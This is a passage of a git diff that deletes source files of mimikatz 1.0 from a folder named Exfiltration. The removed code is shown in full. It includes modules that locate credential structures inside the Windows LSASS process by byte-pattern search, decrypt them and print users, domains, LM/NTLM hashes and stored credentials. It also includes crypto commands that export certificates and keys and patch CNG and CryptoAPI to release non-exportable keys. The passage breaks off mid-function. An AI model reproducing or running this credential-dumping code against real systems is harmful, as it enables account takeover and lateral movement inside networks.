mod_mimikatz_sekurlsa::hLSASS)) - { - mod_mimikatz_sekurlsa::SeckPkgFunctionTable->LsaUnprotectMemory(monBuffer, monBlock->Length); - PMSV1_0_PRIMARY_CREDENTIAL mesCreds = reinterpret_cast(monBuffer); - - NlpMakeRelativeOrAbsoluteString(mesCreds, &mesCreds->UserName, false); - NlpMakeRelativeOrAbsoluteString(mesCreds, &mesCreds->LogonDomainName, false); - - wstring lmHash = mod_text::stringOfHex(mesCreds->LmOwfPassword, sizeof(mesCreds->LmOwfPassword)); - wstring ntHash = mod_text::stringOfHex(mesCreds->NtOwfPassword, sizeof(mesCreds->NtOwfPassword)); - - if(justSecurity) - (*outputStream) << L"lm{ " << lmHash << L" }, ntlm{ " << ntHash << L" }"; - else - { - (*outputStream) << endl << - L"\t * Utilisateur : " << mod_text::stringOfSTRING(mesCreds->UserName) << endl << - L"\t * Domaine : " << mod_text::stringOfSTRING(mesCreds->LogonDomainName) << endl << - L"\t * Hash LM : " << lmHash << endl << - L"\t * Hash NTLM : " << ntHash; - } - } else (*outputStream) << L"n.e. (Lecture Block Credentials KO)"; - - delete [] monBuffer; - } else (*outputStream) << L"n.s. (Block Credentials KO)"; - - return true; -} - -void mod_mimikatz_sekurlsa_msv1_0::NlpMakeRelativeOrAbsoluteString(PVOID BaseAddress, PLSA_UNICODE_STRING String, bool relative) -{ - if(String->Buffer) - String->Buffer = reinterpret_cast(reinterpret_cast(String->Buffer) + ((relative ? -1 : 1) * reinterpret_cast(BaseAddress))); -} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/msv1_0.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/msv1_0.h deleted file mode 100644 index cf8ccac..0000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/msv1_0.h +++ /dev/null @@ -1,105 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ - Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "../mod_mimikatz_sekurlsa.h" - -class mod_mimikatz_sekurlsa_msv1_0 { - -private: - typedef struct _KIWI_MSV1_0_PRIMARY_CREDENTIALS { - PVOID unk0; // next? - LSA_UNICODE_STRING Primary; - LSA_UNICODE_STRING Credentials; - } KIWI_MSV1_0_PRIMARY_CREDENTIALS, *PKIWI_MSV1_0_PRIMARY_CREDENTIALS; - - typedef struct _KIWI_MSV1_0_CREDENTIALS { - PVOID unk0; // next? - DWORD AuthenticationPackageId; - PVOID PrimaryCredentials; - } KIWI_MSV1_0_CREDENTIALS, *PKIWI_MSV1_0_CREDENTIALS; - - typedef struct _KIWI_MSV1_0_LIST_5 { - struct _KIWI_MSV1_0_LIST_5 *Flink; - struct _KIWI_MSV1_0_LIST_5 *Blink; - LUID LocallyUniqueIdentifier; - LSA_UNICODE_STRING UserName; - LSA_UNICODE_STRING Domaine; - PVOID unk14; // 0 - PVOID unk15; // 0 - PVOID unk16; // offset unk_181A080 - DWORD unk17; // 0Ah - DWORD unk18; // 2 - #ifdef _M_IX86 - DWORD unk19; - #endif - DWORD unk20; // 5AC4186Ch - DWORD unk21; // 1CD6BFDh - LSA_UNICODE_STRING LogonServer; - PKIWI_MSV1_0_CREDENTIALS Credentials; - PVOID unk22; // 0C14h - PVOID unk23; // 0BFCh - } KIWI_MSV1_0_LIST_5, *PKIWI_MSV1_0_LIST_5; - - typedef struct _KIWI_MSV1_0_LIST_6 { - struct _KIWI_MSV1_0_LIST_6 *Flink; - struct _KIWI_MSV1_0_LIST_6 *Blink; - PVOID unk0; // unk_18457A0 - DWORD unk1; // 0FFFFFFFFh - DWORD unk2; // 0 - PVOID unk3; // 0 - PVOID unk4; // 0 - PVOID unk5; // 0 - PVOID unk6; // 0C04h - PVOID unk7; // 0 - PVOID unk8; // 0C08h - PVOID unk9; // 0 - PVOID unk10; // 0 - DWORD unk11; // 0 - DWORD unk12; // 0 - PVOID unk13; // offset off_18456A0 - LUID LocallyUniqueIdentifier; - LUID SecondaryLocallyUniqueIdentifier; - LSA_UNICODE_STRING UserName; - LSA_UNICODE_STRING Domaine; - PVOID unk14; // 0 Windows 8 + 2*PVOID / 4*PVOID!! - PVOID unk15; // 0 - PVOID unk16; // offset unk_181A080 - DWORD unk17; // 0Ah - DWORD unk18; // 2 - #ifdef _M_IX86 - DWORD unk19; - #endif - DWORD unk20; // 5AC4186Ch - DWORD unk21; // 1CD6BFDh - LSA_UNICODE_STRING LogonServer; - PKIWI_MSV1_0_CREDENTIALS Credentials; - PVOID unk22; // 0C14h - PVOID unk23; // 0BFCh - } KIWI_MSV1_0_LIST_6, *PKIWI_MSV1_0_LIST_6; - - typedef struct _MSV1_0_PRIMARY_CREDENTIAL { - LSA_UNICODE_STRING LogonDomainName; - LSA_UNICODE_STRING UserName; - BYTE NtOwfPassword[0x10]; - BYTE LmOwfPassword[0x10]; - BOOLEAN NtPasswordPresent; - BOOLEAN LmPasswordPresent; - wchar_t BuffDomaine[MAX_DOMAIN_LEN]; - wchar_t BuffUserName[MAX_USERNAME_LEN]; - } MSV1_0_PRIMARY_CREDENTIAL, *PMSV1_0_PRIMARY_CREDENTIAL; - - static void NlpMakeRelativeOrAbsoluteString(PVOID BaseAddress, PLSA_UNICODE_STRING String, bool relative = true); - - static PLIST_ENTRY LogonSessionList; - static PULONG LogonSessionListCount; - static bool searchLogonSessionList(); - - static bool decryptAndDisplayCredsBlock(LSA_UNICODE_STRING * monBlock, bool justSecurity); -public: - static bool getMSV(vector * arguments); - static bool WINAPI getMSVLogonData(__in PLUID logId, __in bool justSecurity); -}; \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/ssp.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/ssp.cpp deleted file mode 100644 index 86dab86..0000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/ssp.cpp +++ /dev/null @@ -1,92 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ - Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "ssp.h" -#include "..\..\global.h" -mod_process::PKIWI_VERY_BASIC_MODULEENTRY mod_mimikatz_sekurlsa_ssp::pModMSV = NULL; -mod_mimikatz_sekurlsa_ssp::PKIWI_SSP_CREDENTIAL_LIST_ENTRY mod_mimikatz_sekurlsa_ssp::SspCredentialList = NULL; - -bool mod_mimikatz_sekurlsa_ssp::getSSP(vector * arguments) -{ - vector> monProvider; - monProvider.push_back(make_pair(getSSPLogonData, wstring(L"ssp"))); - return mod_mimikatz_sekurlsa::getLogonData(arguments, &monProvider); -} - -bool mod_mimikatz_sekurlsa_ssp::searchSSPEntryList() -{ -#ifdef _M_X64 - BYTE PTRN_WIN5_SspCredentialList[]= {0xc7, 0x43, 0x24, 0x43, 0x72, 0x64, 0x41, 0xff, 0x15}; - LONG OFFS_WIN5_SspCredentialList = sizeof(PTRN_WIN5_SspCredentialList) + 4 + 3; - BYTE PTRN_WIN6_SspCredentialList[]= {0xc7, 0x47, 0x24, 0x43, 0x72, 0x64, 0x41, 0x48, 0x89, 0x47, 0x78, 0xff, 0x15}; - LONG OFFS_WIN6_SspCredentialList = sizeof(PTRN_WIN6_SspCredentialList) + 4 + 3; -#elif defined _M_IX86 - BYTE PTRN_WALL_SspCredentialList[]= {0x1c, 0x43, 0x72, 0x64, 0x41, 0xff, 0x15}; - LONG OFFS_WALL_SspCredentialList = sizeof(PTRN_WALL_SspCredentialList) + 4 + 1; -#endif - - if(mod_mimikatz_sekurlsa::searchLSASSDatas() && pModMSV && !SspCredentialList) - { - PBYTE *pointeur = NULL; PBYTE pattern = NULL; ULONG taille = 0; LONG offset = 0; - pointeur= reinterpret_cast(&SspCredentialList); - -#ifdef _M_X64 - if(mod_system::GLOB_Version.dwMajorVersion < 6) - { - pattern = PTRN_WIN5_SspCredentialList; - taille = sizeof(PTRN_WIN5_SspCredentialList); - offset = OFFS_WIN5_SspCredentialList; - } - else - { - pattern = PTRN_WIN6_SspCredentialList; - taille = sizeof(PTRN_WIN6_SspCredentialList); - offset = OFFS_WIN6_SspCredentialList; - } -#elif defined _M_IX86 - pattern = PTRN_WALL_SspCredentialList; - taille = sizeof(PTRN_WALL_SspCredentialList); - offset = OFFS_WALL_SspCredentialList; -#endif - if(HMODULE monModule = LoadLibrary(L"msv1_0")) - { - MODULEINFO mesInfos; - if(GetModuleInformation(GetCurrentProcess(), monModule, &mesInfos, sizeof(MODULEINFO))) - { - mod_memory::genericPatternSearch(pointeur, L"msv1_0", pattern, taille, offset); - *pointeur += pModMSV->modBaseAddr - reinterpret_cast(mesInfos.lpBaseOfDll); - } - FreeLibrary(monModule); - } - } - return (SspCredentialList != NULL); -} - -bool WINAPI mod_mimikatz_sekurlsa_ssp::getSSPLogonData(__in PLUID logId, __in bool justSecurity) -{ - if(searchSSPEntryList()) - { - KIWI_SSP_CREDENTIAL_LIST_ENTRY mesCredentials; - DWORD monNb = 0; - if(mod_memory::readMemory(SspCredentialList, &mesCredentials, sizeof(LIST_ENTRY), mod_mimikatz_sekurlsa::hLSASS)) - { - while(mesCredentials.Flink != SspCredentialList) - { - if(mod_memory::readMemory(mesCredentials.Flink, &mesCredentials, sizeof(KIWI_SSP_CREDENTIAL_LIST_ENTRY), mod_mimikatz_sekurlsa::hLSASS)) - { - if(RtlEqualLuid(logId, &(mesCredentials.LogonId))) - { - mod_mimikatz_sekurlsa::genericCredsToStream(&mesCredentials.credentials, justSecurity, true, &monNb); - monNb++; - } - } - } - } - } - else (*outputStream) << L"n.a. (SSP KO)"; - - return true; -} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/ssp.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/ssp.h deleted file mode 100644 index d2d5396..0000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/ssp.h +++ /dev/null @@ -1,32 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ - Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "../mod_mimikatz_sekurlsa.h" - -class mod_mimikatz_sekurlsa_ssp { - -private: - typedef struct _KIWI_SSP_CREDENTIAL_LIST_ENTRY { - struct _KIWI_SSP_CREDENTIAL_LIST_ENTRY *Flink; - struct _KIWI_SSP_CREDENTIAL_LIST_ENTRY *Blink; - ULONG References; - ULONG CredentialReferences; - LUID LogonId; - ULONG unk0; - ULONG unk1; - ULONG unk2; - KIWI_GENERIC_PRIMARY_CREDENTIAL credentials; - } KIWI_SSP_CREDENTIAL_LIST_ENTRY, *PKIWI_SSP_CREDENTIAL_LIST_ENTRY; - - static PKIWI_SSP_CREDENTIAL_LIST_ENTRY SspCredentialList; - static bool searchSSPEntryList(); - -public: - static mod_process::PKIWI_VERY_BASIC_MODULEENTRY pModMSV; - static bool getSSP(vector * arguments); - static bool WINAPI getSSPLogonData(__in PLUID logId, __in bool justSecurity); -}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/tspkg.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/tspkg.cpp deleted file mode 100644 index 71e3751..0000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/tspkg.cpp +++ /dev/null @@ -1,94 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ - Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "tspkg.h" -#include "..\..\global.h" -mod_process::PKIWI_VERY_BASIC_MODULEENTRY mod_mimikatz_sekurlsa_tspkg::pModTSPKG = NULL; -PRTL_AVL_TABLE mod_mimikatz_sekurlsa_tspkg::TSGlobalCredTable = NULL; //reinterpret_cast(NULL); - -bool mod_mimikatz_sekurlsa_tspkg::getTsPkg(vector * arguments) -{ - vector> monProvider; - monProvider.push_back(make_pair(getTsPkgLogonData, wstring(L"tspkg"))); - return mod_mimikatz_sekurlsa::getLogonData(arguments, &monProvider); -} - -bool mod_mimikatz_sekurlsa_tspkg::searchTSPKGFuncs() -{ -#ifdef _M_X64 - BYTE PTRN_WALL_TSGlobalCredTable[] = {0x48, 0x83, 0xec, 0x20, 0x48, 0x8d, 0x0d}; - LONG OFFS_WALL_TSGlobalCredTable = sizeof(PTRN_WALL_TSGlobalCredTable); -#elif defined _M_IX86 - BYTE PTRN_WNO8_TSGlobalCredTable[] = {0x8b, 0xff, 0x55, 0x8b, 0xec, 0x51, 0x56, 0xbe}; - LONG OFFS_WNO8_TSGlobalCredTable = sizeof(PTRN_WNO8_TSGlobalCredTable); - - BYTE PTRN_WIN8_TSGlobalCredTable[] = {0x8b, 0xff, 0x53, 0xbb}; - LONG OFFS_WIN8_TSGlobalCredTable = sizeof(PTRN_WIN8_TSGlobalCredTable); -#endif - - if(mod_mimikatz_sekurlsa::searchLSASSDatas() && pModTSPKG && !TSGlobalCredTable) - { - PBYTE *pointeur = NULL; PBYTE pattern = NULL; ULONG taille = 0; LONG offset = 0; - - pointeur= reinterpret_cast(&TSGlobalCredTable); -#ifdef _M_X64 - pattern = PTRN_WALL_TSGlobalCredTable; - taille = sizeof(PTRN_WALL_TSGlobalCredTable); - offset = OFFS_WALL_TSGlobalCredTable; -#elif defined _M_IX86 - if(mod_system::GLOB_Version.dwBuildNumber < 8000) - { - pattern = PTRN_WNO8_TSGlobalCredTable; - taille = sizeof(PTRN_WNO8_TSGlobalCredTable); - offset = OFFS_WNO8_TSGlobalCredTable; - } - else - { - pattern = PTRN_WIN8_TSGlobalCredTable; - taille = sizeof(PTRN_WIN8_TSGlobalCredTable); - offset = OFFS_WIN8_TSGlobalCredTable; - } -#endif - - if(HMODULE monModule = LoadLibrary(L"tspkg")) - { - MODULEINFO mesInfos; - if(GetModuleInformation(GetCurrentProcess(), monModule, &mesInfos, sizeof(MODULEINFO))) - { - mod_memory::genericPatternSearch(pointeur, L"tspkg", pattern, taille, offset); - *pointeur += pModTSPKG->modBaseAddr - reinterpret_cast(mesInfos.lpBaseOfDll); - } - FreeLibrary(monModule); - } - } - return (pModTSPKG && TSGlobalCredTable); -} - -bool WINAPI mod_mimikatz_sekurlsa_tspkg::getTsPkgLogonData(__in PLUID logId, __in bool justSecurity) -{ - if(searchTSPKGFuncs()) - { - PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCreds = NULL; - BYTE * monBuffP = new BYTE[sizeof(KIWI_TS_CREDENTIAL)], * monBuffC = new BYTE[sizeof(KIWI_TS_PRIMARY_CREDENTIAL)]; - if(PKIWI_TS_CREDENTIAL pLogSession = reinterpret_cast(mod_mimikatz_sekurlsa::getPtrFromAVLByLuid(TSGlobalCredTable, FIELD_OFFSET(KIWI_TS_CREDENTIAL, LocallyUniqueIdentifier), logId))) - { - if(mod_memory::readMemory(pLogSession, monBuffP, sizeof(KIWI_TS_CREDENTIAL), mod_mimikatz_sekurlsa::hLSASS)) - { - pLogSession = reinterpret_cast(monBuffP); - if(pLogSession->pTsPrimary) - { - if(mod_memory::readMemory(pLogSession->pTsPrimary, monBuffC, sizeof(KIWI_TS_PRIMARY_CREDENTIAL), mod_mimikatz_sekurlsa::hLSASS)) - mesCreds = &(reinterpret_cast(monBuffC)->credentials); - } - else (*outputStream) << L"n.s. (SuppCred KO) / "; - } - } - mod_mimikatz_sekurlsa::genericCredsToStream(mesCreds, justSecurity, true); - delete [] monBuffC, monBuffP; - } - else (*outputStream) << L"n.a. (tspkg KO)"; - return true; -} diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/tspkg.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/tspkg.h deleted file mode 100644 index 35a3b15..0000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/tspkg.h +++ /dev/null @@ -1,37 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ - Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "../mod_mimikatz_sekurlsa.h" - -class mod_mimikatz_sekurlsa_tspkg { - -private: - typedef struct _KIWI_TS_PRIMARY_CREDENTIAL { - PVOID unk0; // lock ? - KIWI_GENERIC_PRIMARY_CREDENTIAL credentials; - } KIWI_TS_PRIMARY_CREDENTIAL, *PKIWI_TS_PRIMARY_CREDENTIAL; - - typedef struct _KIWI_TS_CREDENTIAL { - #ifdef _M_X64 - BYTE unk0[108]; - #elif defined _M_IX86 - BYTE unk0[64]; - #endif - LUID LocallyUniqueIdentifier; - PVOID unk1; - PVOID unk2; - PKIWI_TS_PRIMARY_CREDENTIAL pTsPrimary; - } KIWI_TS_CREDENTIAL, *PKIWI_TS_CREDENTIAL; - - static PRTL_AVL_TABLE TSGlobalCredTable; - static bool searchTSPKGFuncs(); - -public: - static mod_process::PKIWI_VERY_BASIC_MODULEENTRY pModTSPKG; - static bool getTsPkg(vector * arguments); - static bool WINAPI getTsPkgLogonData(__in PLUID logId, __in bool justSecurity); -}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/wdigest.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/wdigest.cpp deleted file mode 100644 index b6e3062..0000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/wdigest.cpp +++ /dev/null @@ -1,91 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ - Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "wdigest.h" -#include "..\..\global.h" -mod_process::PKIWI_VERY_BASIC_MODULEENTRY mod_mimikatz_sekurlsa_wdigest::pModWDIGEST = NULL; -mod_mimikatz_sekurlsa_wdigest::PKIWI_WDIGEST_LIST_ENTRY mod_mimikatz_sekurlsa_wdigest::l_LogSessList = NULL; -long mod_mimikatz_sekurlsa_wdigest::offsetWDigestPrimary = 0; - -bool mod_mimikatz_sekurlsa_wdigest::getWDigest(vector * arguments) -{ - vector> monProvider; - monProvider.push_back(make_pair(getWDigestLogonData, wstring(L"wdigest"))); - return mod_mimikatz_sekurlsa::getLogonData(arguments, &monProvider); -} - -bool mod_mimikatz_sekurlsa_wdigest::searchWDigestEntryList() -{ -#ifdef _M_X64 - BYTE PTRN_WNO8_InsertInLogSess[]= {0x4c, 0x89, 0x1b, 0x48, 0x89, 0x43, 0x08, 0x49, 0x89, 0x5b, 0x08, 0x48, 0x8d}; - BYTE PTRN_W8CP_InsertInLogSess[]= {0x4c, 0x89, 0x1b, 0x48, 0x89, 0x4b, 0x08, 0x49, 0x8b, 0x43, 0x08, 0x4c, 0x39}; - BYTE PTRN_W8RP_InsertInLogSess[]= {0x4c, 0x89, 0x1b, 0x48, 0x89, 0x43, 0x08, 0x49, 0x39, 0x43, 0x08, 0x0f, 0x85}; -#elif defined _M_IX86 - BYTE PTRN_WNO8_InsertInLogSess[]= {0x8b, 0x45, 0x08, 0x89, 0x08, 0xc7, 0x40, 0x04}; - BYTE PTRN_W8CP_InsertInLogSess[]= {0x89, 0x0e, 0x89, 0x56, 0x04, 0x8b, 0x41, 0x04}; - BYTE PTRN_W8RP_InsertInLogSess[]= {0x89, 0x06, 0x89, 0x4e, 0x04, 0x39, 0x48, 0x04}; -#endif - LONG OFFS_WALL_InsertInLogSess = -4; - - if(mod_mimikatz_sekurlsa::searchLSASSDatas() && pModWDIGEST && !l_LogSessList) - { - PBYTE *pointeur = NULL; PBYTE pattern = NULL; ULONG taille = 0; LONG offset = 0; - - pointeur= reinterpret_cast(&l_LogSessList); - offset = OFFS_WALL_InsertInLogSess; - if(mod_system::GLOB_Version.dwBuildNumber < 8000) - { - pattern = PTRN_WNO8_InsertInLogSess; - taille = sizeof(PTRN_WNO8_InsertInLogSess); - } - else if(mod_system::GLOB_Version.dwBuildNumber < 8400) - { - pattern = PTRN_W8CP_InsertInLogSess; - taille = sizeof(PTRN_W8CP_InsertInLogSess); - } - else - { - pattern = PTRN_W8RP_InsertInLogSess; - taille = sizeof(PTRN_W8RP_InsertInLogSess); - } - - if(HMODULE monModule = LoadLibrary(L"wdigest")) - { - MODULEINFO mesInfos; - if(GetModuleInformation(GetCurrentProcess(), monModule, &mesInfos, sizeof(MODULEINFO))) - { - mod_memory::genericPatternSearch(pointeur, L"wdigest", pattern, taille, offset, "SpInstanceInit", false); - *pointeur += pModWDIGEST->modBaseAddr - reinterpret_cast(mesInfos.lpBaseOfDll); - } - FreeLibrary(monModule); - } - -#ifdef _M_X64 - offsetWDigestPrimary = ((mod_system::GLOB_Version.dwMajorVersion < 6) ? ((mod_system::GLOB_Version.dwMinorVersion < 2) ? 36 : 48) : 48); -#elif defined _M_IX86 - offsetWDigestPrimary = ((mod_system::GLOB_Version.dwMajorVersion < 6) ? ((mod_system::GLOB_Version.dwMinorVersion < 2) ? 36 : 28) : 32); -#endif - } - return (pModWDIGEST && l_LogSessList); -} - -bool WINAPI mod_mimikatz_sekurlsa_wdigest::getWDigestLogonData(__in PLUID logId, __in bool justSecurity) -{ - if(searchWDigestEntryList()) - { - PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCreds = NULL; - DWORD taille = offsetWDigestPrimary + sizeof(KIWI_GENERIC_PRIMARY_CREDENTIAL); - BYTE * monBuff = new BYTE[taille]; - if(PLIST_ENTRY pLogSession = mod_mimikatz_sekurlsa::getPtrFromLinkedListByLuid(reinterpret_cast(l_LogSessList), FIELD_OFFSET(KIWI_WDIGEST_LIST_ENTRY, LocallyUniqueIdentifier), logId)) - if( mod_memory::readMemory(pLogSession, monBuff, taille, mod_mimikatz_sekurlsa::hLSASS)) - mesCreds = reinterpret_cast(reinterpret_cast(monBuff) + offsetWDigestPrimary); - mod_mimikatz_sekurlsa::genericCredsToStream(mesCreds, justSecurity); - delete [] monBuff; - } - else (*outputStream) << L"n.a. (wdigest KO)"; - - return true; -} diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/wdigest.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/wdigest.h deleted file mode 100644 index 9db3c8b..0000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/wdigest.h +++ /dev/null @@ -1,29 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ - Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "../mod_mimikatz_sekurlsa.h" - -class mod_mimikatz_sekurlsa_wdigest { - -private: - typedef struct _KIWI_WDIGEST_LIST_ENTRY { - struct _KIWI_WDIGEST_LIST_ENTRY *Flink; - struct _KIWI_WDIGEST_LIST_ENTRY *Blink; - DWORD UsageCount; - struct _KIWI_WDIGEST_LIST_ENTRY *This; - LUID LocallyUniqueIdentifier; - } KIWI_WDIGEST_LIST_ENTRY, *PKIWI_WDIGEST_LIST_ENTRY; - - static PKIWI_WDIGEST_LIST_ENTRY l_LogSessList; - static long offsetWDigestPrimary; - static bool searchWDigestEntryList(); - -public: - static mod_process::PKIWI_VERY_BASIC_MODULEENTRY pModWDIGEST; - static bool getWDigest(vector * arguments); - static bool WINAPI getWDigestLogonData(__in PLUID logId, __in bool justSecurity); -}; \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_crypto.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_crypto.cpp deleted file mode 100644 index a869cd8..0000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_crypto.cpp +++ /dev/null @@ -1,594 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "mod_mimikatz_crypto.h" -#include "..\global.h" - -vector mod_mimikatz_crypto::getMimiKatzCommands() -{ - vector monVector; - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(listProviders, L"listProviders", L"Liste les providers installés)")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(listStores, L"listStores", L"Liste les magasins système")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(listCertificates, L"listCertificates", L"Liste les certificats")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(listKeys, L"listKeys", L"Liste les conteneurs de clés")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(exportCertificates, L"exportCertificates", L"Exporte les certificats")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(exportKeys, L"exportKeys", L"Exporte les clés")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(patchcng, L"patchcng", L"[experimental] Patch le gestionnaire de clés pour l\'export de clés non exportable")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(patchcapi, L"patchcapi", L"[experimental] Patch la CryptoAPI courante pour l\'export de clés non exportable")); - return monVector; -} - -bool mod_mimikatz_crypto::listProviders(vector * arguments) -{ - vector * monVectorProviders = new vector(); - /* CryptoAPI */ - (*outputStream) << L"Providers CryptoAPI :" << endl; - if(mod_cryptoapi::getVectorProviders(monVectorProviders)) - for(vector::iterator monProvider = monVectorProviders->begin(); monProvider != monVectorProviders->end(); monProvider++) - (*outputStream) << L'\t' << *monProvider << endl; - else (*outputStream) << L"mod_cryptoapi::getVectorProviders : " << mod_system::getWinError() << endl; - - /* CryptoNG */ - if(mod_cryptong::isNcrypt) - { - (*outputStream) << endl; - monVectorProviders->clear(); - - (*outputStream) << L"Providers CNG :" << endl; - if(mod_cryptong::getVectorProviders(monVectorProviders)) - for(vector::iterator monProvider = monVectorProviders->begin(); monProvider != monVectorProviders->end(); monProvider++) - (*outputStream) << L'\t' << *monProvider << endl; - else (*outputStream) << L"mod_cryptong::getVectorProviders : " << mod_system::getWinError() << endl; - } - delete monVectorProviders; - return true; -} - -bool mod_mimikatz_crypto::listKeys(vector * arguments) -{ - listAndOrExportKeys(arguments, false); - return true; -} - -bool mod_mimikatz_crypto::exportKeys(vector * arguments) -{ - listAndOrExportKeys(arguments, true); - return true; -} - -bool mod_mimikatz_crypto::listStores(vector * arguments) -{ - wstring monEmplacement = (arguments->empty() ? L"CERT_SYSTEM_STORE_CURRENT_USER" : arguments->front()); - - (*outputStream) << L"Emplacement : \'" << monEmplacement << L'\''; - - DWORD systemStore; - if(mod_crypto::getSystemStoreFromString(monEmplacement, &systemStore)) - { - (*outputStream) << endl; - vector * mesStores = new vector(); - if(mod_crypto::getVectorSystemStores(mesStores, systemStore)) - for(vector::iterator monStore = mesStores->begin(); monStore != mesStores->end(); monStore++) - (*outputStream) << L'\t' << *monStore << endl; - else (*outputStream) << L"mod_crypto::getListSystemStores : " << mod_system::getWinError() << endl; - delete mesStores; - } - else (*outputStream) << L" introuvable !" << endl; - return true; -} - -bool mod_mimikatz_crypto::listCertificates(vector * arguments) -{ - listAndOrExportCertificates(arguments, false); - return true; -} - -bool mod_mimikatz_crypto::exportCertificates(vector * arguments) -{ - listAndOrExportCertificates(arguments, true); - return true; -} - -void mod_mimikatz_crypto::listAndOrExportKeys(vector * arguments, bool exportKeys) -{ - bool isMachine = false; - DWORD providerType = PROV_RSA_FULL; - wstring provider = MS_ENHANCED_PROV; - - switch (arguments->size()) - { - case 1: - isMachine = true; - case 0: - break; - case 3: - isMachine = true; - arguments->erase(arguments->begin()); - case 2: - mod_cryptoapi::getProviderString(arguments->front(), &provider); - mod_cryptoapi::getProviderTypeFromString(arguments->back(), &providerType); - break; - default : - (*outputStream) << L"Erreur d\'arguments, attendu : [machine] [provider providerType]" << endl; - return; - } - - - wstring type = (isMachine ? L"machine" : L"user"); - - vector * monVectorKeys = new vector(); - - /* CryptoAPI */ - (*outputStream) << L"[" << type << L"] Clés CryptoAPI :" << endl; - if(mod_cryptoapi::getVectorContainers(monVectorKeys, isMachine)) - { - DWORD i; - vector::iterator monContainer; - for(i = 0, monContainer = monVectorKeys->begin(); monContainer != monVectorKeys->end(); monContainer++, i++) - { - (*outputStream) << L"\t - " << *monContainer << endl; - - HCRYPTPROV hCryptKeyProv = NULL; - if(CryptAcquireContext(&hCryptKeyProv, monContainer->c_str(), provider.c_str(), providerType, NULL | (isMachine ? CRYPT_MACHINE_KEYSET : NULL))) - { - HCRYPTKEY maCle = NULL; - for(DWORD ks = AT_KEYEXCHANGE; (ks <= AT_SIGNATURE) && !maCle; ks++) - { - if(CryptGetUserKey(hCryptKeyProv, ks, &maCle)) - { - (*outputStream) << L"\t\tType : " << mod_crypto::KeyTypeToString(ks) << endl; - DWORD param = 0, taille = sizeof(param); - if(CryptGetKeyParam(maCle, KP_PERMISSIONS, reinterpret_cast(¶m), &taille, NULL)) - (*outputStream) << L"\t\tExportabilité : " << (param & CRYPT_EXPORT ? L"OUI" : L"NON") << endl; - if(CryptGetKeyParam(maCle, KP_KEYLEN, reinterpret_cast(¶m), &taille, NULL)) - (*outputStream) << 